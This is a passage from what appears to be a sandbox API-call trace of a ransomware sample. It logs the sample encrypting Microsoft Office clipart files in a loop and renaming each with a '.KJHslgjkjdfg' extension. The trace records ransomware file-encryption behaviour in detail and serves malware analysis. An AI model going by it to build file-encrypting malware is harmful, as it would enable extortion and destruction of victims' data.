dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.186] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.186] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.186] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.186] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x32f2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x32f2, lpOverlapped=0x0) returned 1 [0195.187] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3300, dwBufLen=0x3300 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3300) returned 1 [0195.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.187] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3300, lpOverlapped=0x0) returned 1 [0195.188] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x33d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.188] SetEndOfFile (hFile=0x130) returned 1 [0195.190] GetProcessHeap () returned 0x2ef0000 [0195.191] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.191] GetProcessHeap () returned 0x2ef0000 [0195.191] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.191] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.kjhslgjkjdfg")) returned 1 [0195.192] CloseHandle (hObject=0x130) returned 1 [0195.192] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc465ee00, ftCreationTime.dwHighDateTime=0x1bd4bff, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc465ee00, ftLastWriteTime.dwHighDateTime=0x1bd4bff, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1 [0195.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.192] GetProcessHeap () returned 0x2ef0000 [0195.192] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.192] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.193] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.194] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.194] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.194] GetProcessHeap () returned 0x2ef0000 [0195.194] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.194] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.194] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.194] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.194] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.194] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.195] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.195] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.195] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.195] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.195] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.195] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.195] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa8c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa8c, lpOverlapped=0x0) returned 1 [0195.195] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa90, dwBufLen=0xa90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa90) returned 1 [0195.195] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.195] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa90, lpOverlapped=0x0) returned 1 [0195.196] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.196] SetEndOfFile (hFile=0x130) returned 1 [0195.197] GetProcessHeap () returned 0x2ef0000 [0195.198] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.198] GetProcessHeap () returned 0x2ef0000 [0195.198] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.198] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.kjhslgjkjdfg")) returned 1 [0195.199] CloseHandle (hObject=0x130) returned 1 [0195.199] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95cb3000, ftCreationTime.dwHighDateTime=0x1bd4c5e, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95cb3000, ftLastWriteTime.dwHighDateTime=0x1bd4c5e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1 [0195.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.199] GetProcessHeap () returned 0x2ef0000 [0195.199] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.199] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.199] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.199] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0195.201] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.201] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.201] GetProcessHeap () returned 0x2ef0000 [0195.201] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.201] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.202] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.202] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.202] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.202] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.202] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.202] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.202] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.202] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.202] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b2e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b2e, lpOverlapped=0x0) returned 1 [0195.203] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b30, dwBufLen=0x1b30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b30) returned 1 [0195.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.203] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b30, lpOverlapped=0x0) returned 1 [0195.203] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.204] SetEndOfFile (hFile=0x130) returned 1 [0195.206] GetProcessHeap () returned 0x2ef0000 [0195.206] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.206] GetProcessHeap () returned 0x2ef0000 [0195.206] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.206] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.kjhslgjkjdfg")) returned 1 [0195.207] CloseHandle (hObject=0x130) returned 1 [0195.207] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d81900, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27d81900, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1 [0195.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.209] GetProcessHeap () returned 0x2ef0000 [0195.209] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.209] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.209] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.209] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.209] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.209] GetProcessHeap () returned 0x2ef0000 [0195.209] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.209] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.209] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.209] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.212] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.212] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.212] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.212] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.212] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.212] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.212] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3670, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3670, lpOverlapped=0x0) returned 1 [0195.213] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3670, dwBufLen=0x3670 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3670) returned 1 [0195.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.214] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3670, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3670, lpOverlapped=0x0) returned 1 [0195.214] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.214] SetEndOfFile (hFile=0x130) returned 1 [0195.217] GetProcessHeap () returned 0x2ef0000 [0195.217] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.217] GetProcessHeap () returned 0x2ef0000 [0195.217] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.kjhslgjkjdfg")) returned 1 [0195.218] CloseHandle (hObject=0x130) returned 1 [0195.218] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57852200, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57852200, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1 [0195.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.237] GetProcessHeap () returned 0x2ef0000 [0195.237] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.237] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.237] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.237] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0195.240] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.240] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.240] GetProcessHeap () returned 0x2ef0000 [0195.240] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.240] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.240] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.240] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.240] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.240] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.240] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.240] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.240] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.241] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.241] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.241] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b1a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b1a, lpOverlapped=0x0) returned 1 [0195.242] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b20, dwBufLen=0x1b20 | out: 